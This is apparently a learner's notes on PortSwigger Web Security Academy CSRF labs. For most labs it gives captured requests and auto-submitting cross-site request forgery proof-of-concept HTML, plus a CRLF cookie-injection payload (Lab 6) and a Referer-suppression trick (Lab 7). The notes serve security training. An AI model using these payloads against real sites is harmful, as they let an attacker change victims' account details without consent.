labs

Lab - 1: CSRF vulnerability with no defenses (A)

  • This lab's email change functionality is vulnerable to CSRF. To solve the lab, craft some HTML that uses a CSRF attack to change the viewer's email address and upload it to your exploit server. You can log in to your own account using the following credentials: wiener:peter

  • enter as wiener

  • at CSRF vuln end-point,

POST /my-account/change-email HTTP/1.1
...
Cookie: session=3nunxpjn62UDgxNf0EBecuvWuJ846cEB

email=test%40test.com

  • Right click -> Engagement tools > Generate CSRF Poc

  • in CSRF PoC generator, Options > Include auto submit script checked

  • change the email input value in CSRF HTML

  • copy this HTML into explot server body

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>
      history.pushState("", "", "/");
    </script>
    <form
      action="https://0a1e000d048c5fcac0b6760e001100a9.web-security-academy.net/my-account/change-email"
      method="POST"
    >
      <input type="hidden" name="email" value="test&#64;test2&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Lab - 2: CSRF where token validation depends on request method (P)

  • This lab's email change functionality is vulnerable to CSRF. It attempts to block CSRF attacks, but only applies defenses to certain types of requests. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address. You can log in to your own account using the following credentials: wiener:peter

  • vuln header

POST /my-account/change-email HTTP/1.1
Host: 0ae60049043c36b9c0aea2ba009200a0.web-security-academy.net
Cookie: session=CCNEJxo2BpHiYUJFVchUb93P9H4Dhp4H
...

email=test%40test1.com&csrf=oep2xvr1MFEG0Ok8HinlCqb8B6WowbHZ

  • try to change the csrf token -> 404 response with invalid CSRF token

  • try to change the method GET without csrf and 302 found

  • to solve the lab, do as previous lab

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>
      history.pushState("", "", "/");
    </script>
    <form
      action="https://0ae60049043c36b9c0aea2ba009200a0.web-security-academy.net/my-account/change-email"
    >
      <input type="hidden" name="email" value="test&#64;test2&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Lab - 3: CSRF where token validation depends on token being present (P)

  • This lab's email change functionality is vulnerable to CSRF. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address. You can log in to your own account using the following credentials: wiener:peter

  • Vuln header

POST /my-account/change-email HTTP/1.1
Host: 0a09006e04746b0dc04e086000ef0000.web-security-academy.net
Cookie: session=Pmb74EIgFYd4Kda7rtB4fh2qte7uwbhD
...

email=test%40test.com&csrf=UUo0mCzxDHh17KZpgwEeIjaMTQLp1Tsj

  • try to remove the csrf token, and send the request and 302 found

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>
      history.pushState("", "", "/");
    </script>
    <form
      action="https://0a09006e04746b0dc04e086000ef0000.web-security-academy.net/my-account/change-email"
      method="POST"
    >
      <input type="hidden" name="email" value="test&#64;test2&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Lab - 4: CSRF where token is not tied to user session (P)

  • This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't integrated into the site's session handling system. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address. You have two accounts on the application that you can use to help design your attack. The credentials are as follows:

    • wiener:peter

    • carlos:montoya

  • enter with carlos account and try above steps

  • enter with wiener account in private tab, get the csrf token with proxy and drop the request (it is import. token is for single use)

  • replace that token with the carlos token

Lab - 5: CSRF where token is tied to non-session cookie (P)

  • This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't fully integrated into the site's session handling system. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address. You have two accounts on the application that you can use to help design your attack. The credentials are as follows: wiener:peter, carlos:montoya

a little complicated! will do later

Lab - 6: CSRF where token is duplicated in cookie (P)

  • This lab's email change functionality is vulnerable to CSRF. It attempts to use the insecure "double submit" CSRF prevention technique. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address. You can log in to your own account using the following credentials: wiener:peter

POST /my-account/change-email HTTP/1.1
Host: 0afe0082039e0415c08d14bc003e0000.web-security-academy.net
Cookie: session=qUqqOoUGQAbRUkorybFlGIOm5xD4fncJ; csrf=BXhFZY0oSlyYbHTYrNHvrr8yE2Q98FmW
...
email=test%40test.com&csrf=BXhFZY0oSlyYbHTYrNHvrr8yE2Q98FmW

  • If csrf in request body parameter is same as that of cookie, whatever the values are, it is accepted.

  • try to set the custom cookie and set csrf to that cookie

  • perform a search, and found that the response contains Set-Cookie: LastSearchTerm=something and search term has no CSRF protection and use this to inject cookie into the victim browser by

GET /?search=game%0d%0aSet-Cookie:%20csrf=fakeCSRF HTTP/1.1

result

HTTP/1.1 200 OK
Set-Cookie: LastSearchTerm=game

Set-Cookie: csrf=fakeCSRF; Secure; HttpOnly
Content-Type: text/html; charset=utf-8
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>
      history.pushState("", "", "/");
    </script>
    <form
      action="https://0afe0082039e0415c08d14bc003e0000.web-security-academy.net/my-account/change-email"
      method="POST"
    >
      <input type="hidden" name="email" value="test&#64;test2&#46;com" />
      <input type="hidden" name="csrf" value="fake" />
      <input type="submit" value="Submit request" />
    </form>
    <img
      src="https://0afe0082039e0415c08d14bc003e0000.web-security-academy.net/?search=game%0d%0aSet-Cookie:%20csrf=fake"
      onerror="document.forms[0].submit();"
    />
  </body>
</html>

  • first load the image and this will set the user browser with cookie csrf=fake

  • then it will get error, and the form will be submit with the same csrf=fake

Lab - 7: CSRF where Referer validation depends on header being present (P)

  • This lab's email change functionality is vulnerable to CSRF. It attempts to block cross domain requests but has an insecure fallback. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address. You can log in to your own account using the following credentials: wiener:peter

  • there is no csrf token present in POST request

  • but when you send the CSRF PoC, it will result invalid referrer header

  • then add META tag in PoC HTML

<meta name="referrer" content="never">
PreviousnotesNextDirectory Traversal

Last updated